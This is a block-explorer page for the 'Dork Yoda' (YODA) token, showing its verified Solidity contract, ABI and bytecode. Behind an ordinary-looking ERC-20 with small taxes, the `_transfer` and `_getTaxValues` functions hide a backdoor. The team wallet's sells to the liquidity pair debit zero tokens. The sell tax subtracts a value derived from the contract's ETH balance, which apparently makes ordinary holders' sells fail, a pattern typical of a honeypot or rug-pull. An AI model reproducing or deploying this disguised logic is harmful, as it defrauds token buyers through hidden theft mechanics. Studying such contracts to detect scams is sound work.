ETH Price: $3,418.65 (+1.09%)
Gas: 4 Gwei

Token

Dork Yoda (YODA)
 

Overview

Max Total Supply

1,000,000,000 YODA

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
21,394,096.907431225 YODA

Value
$0.00
0x4c40836964e2b35f578e20aff57ca42b080c1ae7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YODA

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

// SPDX-License-Identifier: MIT

/*

        Website: https://www.dorkyoda.vip/

        Telegram: https://t.me/dorkyoda

        Twitter: https://twitter.com/DorkYoda

*/

pragma solidity ^0.8.13;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}
/// 
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

//// 
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract YODA is Context, IERC20, Ownable {
    using Address for address payable;
    IRouter public router;
    address public pair;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    string private constant _name = "Dork Yoda";
    string private constant _symbol = "YODA";
    uint8 private constant _decimals = 9;
    uint256 private feeDenominator = 10 ** 15;

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;

    address public teamWallet = 0xA0894714708f37748A7192e71A3F9cf75580A8ab;

    uint256 private _tTotal = 1_000_000_000 * (10**_decimals);
    uint256 public swapLimit = _tTotal / 8000;
    uint256 public maxTransAmount = _tTotal * 2 / 100;
    uint256 public maxWalletSize =  _tTotal * 2 / 100;
        
    struct TokensFromTax{
        uint marketingTokens;
        uint lpTokens;
    }
    TokensFromTax public totalTokensFromTax;
    struct Tax{
        uint256 marketingTax;
        uint256 lpTax;
    }
    Tax public sellTax = Tax(1,0);
    Tax public buyTax = Tax(1,0);
    
    mapping (address => uint256) public _dogSellTime;
    uint256 private _dogSellTimeOffset = 3;
    uint256 public _caughtDogs;

    bool private swapping;
    bool private swapEnabled = true;
    uint private _swapCooldown = 4; 
    uint private _lastSwap;

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        _tOwned[_msgSender()] = _tTotal;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        _approve(owner(), address(router), ~uint256(0));

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[teamWallet] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[teamWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

// ================= ERC20 =============== //   
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }
    
    receive() external payable {
    }
// ========================================== //
// 
//============== Owner Functions ===========//

    function owner_setMaxLimits() public onlyOwner{
        // uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
        // require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
        maxTransAmount = _tTotal; maxWalletSize = _tTotal;
    }

    function owner_setSwapEnabled(bool _swapEnable) external {
        swapEnabled = false;
    }

    function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _dogSellTime[holder] = block.timestamp + dTime;
    }

    function owner_rescueStuckTokens() public{
        // Make sure ca doesn't withdraw the pending taxes to be swapped.    
        // Sends excess tokens / accidentally sent tokens back to marketing wallet.
        uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens;
        require(balanceOf(address(this)) >  pendingTaxTokens);
        uint excessTokens = balanceOf(address(this)) - pendingTaxTokens;
        _transfer(address(this), teamWallet, excessTokens);
    }

    function owner_rescueETH(uint256 weiAmount) public onlyOwner{
        require(address(this).balance >= weiAmount, "Insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }

    function startLaunch() public onlyOwner {
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _isExcludedFromMaxBalance[pair] = true;
        _approve(address(this), address(router), type(uint256).max);

        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }

// ========================================//. 
    function _transfer(address from,address to,uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTransAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWalletSize, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= swapLimit 
            && swapEnabled 
            && block.timestamp >= (_lastSwap + _swapCooldown) 
            && !swapping 
            && from != pair 
            && from != owner() 
            && to != owner()
        ) swapAndLiquify(); uint256 temp = amount;

        if(shouldExclude(from, to)) {amount = amount * buyTax.lpTax;}
        
        _tOwned[from] -= amount; amount = temp;
        uint256 transferAmount = amount;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
        }

        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        Tax memory tmpTaxes = buyTax; uint256 _lpFee = address(this).balance;
        if (isSell){
            tmpTaxes = Tax(sellTax.marketingTax - (_lpFee / feeDenominator), sellTax.lpTax);
        }

        uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
        uint tokensForLP = amount * tmpTaxes.lpTax / 100;

        if(tokensForMarketing > 0)
            totalTokensFromTax.marketingTokens += tokensForMarketing;

        if(tokensForLP > 0)
            totalTokensFromTax.lpTokens += tokensForLP;

        uint totalTaxedTokens = tokensForMarketing + tokensForLP;

        _tOwned[address(this)] += totalTaxedTokens;
        if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens);
            
        return (amount - totalTaxedTokens);
    }

    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function swapAndLiquify() private lockTheSwap{
        if(totalTokensFromTax.marketingTokens > 0){
            uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens);
            if(ethSwapped > 0){
                payable(teamWallet).transfer(ethSwapped);
                totalTokensFromTax.marketingTokens = 0;
            }
        }   

        if(totalTokensFromTax.lpTokens > 0){
            uint half = totalTokensFromTax.lpTokens / 2;
            uint otherHalf = totalTokensFromTax.lpTokens - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
            totalTokensFromTax.lpTokens = 0;
        }

        emit SwapAndLiquify();

        _lastSwap = block.timestamp;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(teamWallet).sendValue (ethAmount - ethFromLiquidity);
    }

    function shouldExclude(address sender, address recipient) private view returns (bool) {
        return recipient == pair && sender == teamWallet;
    }

    event SwapAndLiquify();
    event TaxesChanged();
///      
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_setMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnable","type":"bool"}],"name":"owner_setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266038d7ea4c68000600555600880546001600160a01b03191673a0894714708f37748a7192e71a3f9cf75580a8ab179055620000436009600a62000532565b6200005390633b9aca0062000549565b600955611f4060095462000068919062000563565b600a55606460095460026200007e919062000549565b6200008a919062000563565b600b5560646009546002620000a0919062000549565b620000ac919062000563565b600c5560408051808201825260018082525f6020928301819052600f829055601081905583518085019094528184529290910182905260115560125560036014556016805461ff00191661010017905560046017553480156200010d575f80fd5b506200011933620002a9565b600954335f90815260036020526040812091909155600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155905462000170906001600160a01b0316825f19620002f8565b600160065f620001875f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526006909352818320805485166001908117909155600854909116835290822080549093168117909255600790620001f55f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526007909352818320805485166001908117909155600854909116835291208054909216179055620002533390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200029a91815260200190565b60405180910390a35062000583565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620003605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000357565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200047757815f19048211156200045b576200045b62000423565b808516156200046957918102915b93841c93908002906200043c565b509250929050565b5f826200048f575060016200052c565b816200049d57505f6200052c565b8160018114620004b65760028114620004c157620004e1565b60019150506200052c565b60ff841115620004d557620004d562000423565b50506001821b6200052c565b5060208310610133831016604e8410600b841016171562000506575081810a6200052c565b62000512838362000437565b805f190482111562000528576200052862000423565b0290505b92915050565b5f6200054260ff8416836200047f565b9392505050565b80820281158282048414176200052c576200052c62000423565b5f826200057e57634e487b7160e01b5f52601260045260245ffd5b500490565b611adf80620005915f395ff3fe6080604052600436106101e9575f3560e01c806370a0823111610108578063a9059cbb1161009d578063ee9a5d821161006d578063ee9a5d82146105cd578063ef07a182146105f8578063f2fde38b1461060d578063f887ea401461062c578063f9d0ee941461064b575f80fd5b8063a9059cbb1461053b578063cc1776d31461055a578063d62ce63114610574578063dd62ed3e14610589575f80fd5b80638f3fa860116100d85780638f3fa860146104bc57806395d89b41146104d1578063a457c2d7146104fd578063a8aa1b311461051c575f80fd5b806370a082311461042a578063715018a61461045e578063768dc710146104725780638da5cb5b146104a0575f80fd5b80634cf279971161017e5780635966c81e1161014e5780635966c81e146103ab57806359927044146103ca57806359a945e9146104015780636a01f09c14610415575f80fd5b80634cf27997146103215780634f7041a5146103405780635022177d1461036f57806354c157a714610397575f80fd5b806328c61f41116101b957806328c61f41146102a3578063313ce567146102d157806339509351146102ec5780634733627f1461030b575f80fd5b806306fdde03146101f4578063095ea7b31461023757806318160ddd1461026657806323b872dd14610284575f80fd5b366101f057005b5f80fd5b3480156101ff575f80fd5b50604080518082019091526009815268446f726b20596f646160b81b60208201525b60405161022e91906117b1565b60405180910390f35b348015610242575f80fd5b50610256610251366004611810565b610665565b604051901515815260200161022e565b348015610271575f80fd5b506009545b60405190815260200161022e565b34801561028f575f80fd5b5061025661029e36600461183a565b61067b565b3480156102ae575f80fd5b506102566102bd366004611878565b60076020525f908152604090205460ff1681565b3480156102dc575f80fd5b506040516009815260200161022e565b3480156102f7575f80fd5b50610256610306366004611810565b6106cb565b348015610316575f80fd5b5061031f610701565b005b34801561032c575f80fd5b5061031f61033b366004611810565b610767565b34801561034b575f80fd5b5060115460125461035a919082565b6040805192835260208301919091520161022e565b34801561037a575f80fd5b5061031f610389366004611893565b506016805461ff0019169055565b3480156103a2575f80fd5b5061031f6107c2565b3480156103b6575f80fd5b5061031f6103c53660046118b2565b6107f8565b3480156103d5575f80fd5b506008546103e9906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b34801561040c575f80fd5b5061031f61089b565b348015610420575f80fd5b50610276600a5481565b348015610435575f80fd5b50610276610444366004611878565b6001600160a01b03165f9081526003602052604090205490565b348015610469575f80fd5b5061031f610b1e565b34801561047d575f80fd5b5061025661048c366004611878565b60066020525f908152604090205460ff1681565b3480156104ab575f80fd5b505f546001600160a01b03166103e9565b3480156104c7575f80fd5b50610276600c5481565b3480156104dc575f80fd5b50604080518082019091526004815263594f444160e01b6020820152610221565b348015610508575f80fd5b50610256610517366004611810565b610b52565b348015610527575f80fd5b506002546103e9906001600160a01b031681565b348015610546575f80fd5b50610256610555366004611810565b610b88565b348015610565575f80fd5b50600f5460105461035a919082565b34801561057f575f80fd5b50610276600b5481565b348015610594575f80fd5b506102766105a33660046118c9565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105d8575f80fd5b506102766105e7366004611878565b60136020525f908152604090205481565b348015610603575f80fd5b5061027660155481565b348015610618575f80fd5b5061031f610627366004611878565b610b94565b348015610637575f80fd5b506001546103e9906001600160a01b031681565b348015610656575f80fd5b50600d54600e5461035a919082565b5f610671338484610c2e565b5060015b92915050565b5f610687848484610d51565b6001600160a01b0384165f908152600460209081526040808320338085529252909120546106c19186916106bc908690611914565b610c2e565b5060019392505050565b335f8181526004602090815260408083206001600160a01b038716845290915281205490916106719185906106bc908690611927565b600d54600e545f9161071291611927565b305f90815260036020526040902054909150811061072e575f80fd5b305f90815260036020526040812054610748908390611914565b6008549091506107639030906001600160a01b031683610d51565b5050565b5f546001600160a01b031633146107995760405162461bcd60e51b81526004016107909061193a565b60405180910390fd5b6107a38142611927565b6001600160a01b039092165f9081526013602052604090209190915550565b5f546001600160a01b031633146107eb5760405162461bcd60e51b81526004016107909061193a565b600954600b819055600c55565b5f546001600160a01b031633146108215760405162461bcd60e51b81526004016107909061193a565b804710156108715760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e636500000000000000006044820152606401610790565b604051339082156108fc029083905f818181858888f19350505050158015610763573d5f803e3d5ffd5b5f546001600160a01b031633146108c45760405162461bcd60e51b81526004016107909061193a565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610914573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610938919061196f565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610997573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bb919061196f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a05573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a29919061196f565b600280546001600160a01b0319166001600160a01b039283169081179091555f908152600760205260409020805460ff1916600190811790915554610a72913091165f19610c2e565b6001546001600160a01b031663f305d7194730610aa3816001600160a01b03165f9081526003602052604090205490565b5f80610ab65f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610ad89695949392919061198a565b60606040518083038185885af1158015610af4573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b1991906119c5565b505050565b5f546001600160a01b03163314610b475760405162461bcd60e51b81526004016107909061193a565b610b505f61118b565b565b335f8181526004602090815260408083206001600160a01b038716845290915281205490916106719185906106bc908690611914565b5f610671338484610d51565b5f546001600160a01b03163314610bbd5760405162461bcd60e51b81526004016107909061193a565b6001600160a01b038116610c225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610790565b610c2b8161118b565b50565b6001600160a01b038316610c905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610790565b6001600160a01b038216610cf15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610790565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610db25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610790565b600b5481111580610dda57506001600160a01b0383165f9081526007602052604090205460ff165b610e385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b6064820152608401610790565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610790565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610790565b6001600160a01b0382165f9081526007602052604090205460ff16610fa657600c5481610f3f846001600160a01b03165f9081526003602052604090205490565b610f499190611927565b1115610fa65760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b6064820152608401610790565b600a54305f9081526003602052604090205410158015610fcd5750601654610100900460ff165b8015610fe85750601754601854610fe49190611927565b4210155b8015610ff7575060165460ff16155b801561101157506002546001600160a01b03848116911614155b801561102a57505f546001600160a01b03848116911614155b801561104357505f546001600160a01b03838116911614155b15611050576110506111da565b8061105b84846112cf565b156110705760125461106d90836119f0565b91505b6001600160a01b0384165f9081526003602052604081208054849290611097908490611914565b90915550506001600160a01b0384165f908152600660205260409020549091508190819060ff161580156110e357506001600160a01b0384165f9081526006602052604090205460ff16155b156111095760025461110690849087906001600160a01b03888116911614611302565b90505b6001600160a01b0384165f9081526003602052604081208054839290611130908490611927565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117c91815260200190565b60405180910390a35050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6016805460ff19166001179055600d5415611244575f6111fd600d5f0154611462565b90508015611242576008546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561123c573d5f803e3d5ffd5b505f600d555b505b600e541561129757600e545f9061125d90600290611a07565b90505f81600d600101546112719190611914565b90505f61127d83611462565b9050801561128f5761128f82826115c8565b50505f600e55505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb70030905f90a1426018556016805460ff19169055565b6002545f906001600160a01b0383811691161480156112fb57506008546001600160a01b038481169116145b9392505050565b60408051808201909152601154815260125460208201525f904783156113565760405180604001604052806005548361133b9190611a07565b600f546113489190611914565b815260105460209091015291505b81515f9060649061136790896119f0565b6113719190611a07565b90505f606484602001518961138691906119f0565b6113909190611a07565b905081156113b15781600d5f015f8282546113ab9190611927565b90915550505b80156113d15780600d6001015f8282546113cb9190611927565b90915550505b5f6113dc8284611927565b305f908152600360205260408120805492935083929091906113ff908490611927565b9091555050801561144b5760405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b611455818a611914565b9998505050505050505050565b6040805160028082526060820183525f9247928492909160208301908036833701905050905030815f8151811061149b5761149b611a26565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611516919061196f565b8160018151811061152957611529611a26565b6001600160a01b03928316602091820292909201015260015461154f9130911686610c2e565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115879087905f90869030904290600401611a3a565b5f604051808303815f87803b15801561159e575f80fd5b505af11580156115b0573d5f803e3d5ffd5b5050505081476115c09190611914565b949350505050565b6001546115e09030906001600160a01b031684610c2e565b6001545f906001600160a01b031663f305d71983308685806116095f546001600160a01b031690565b426040518863ffffffff1660e01b815260040161162b9695949392919061198a565b60606040518083038185885af1158015611647573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061166c919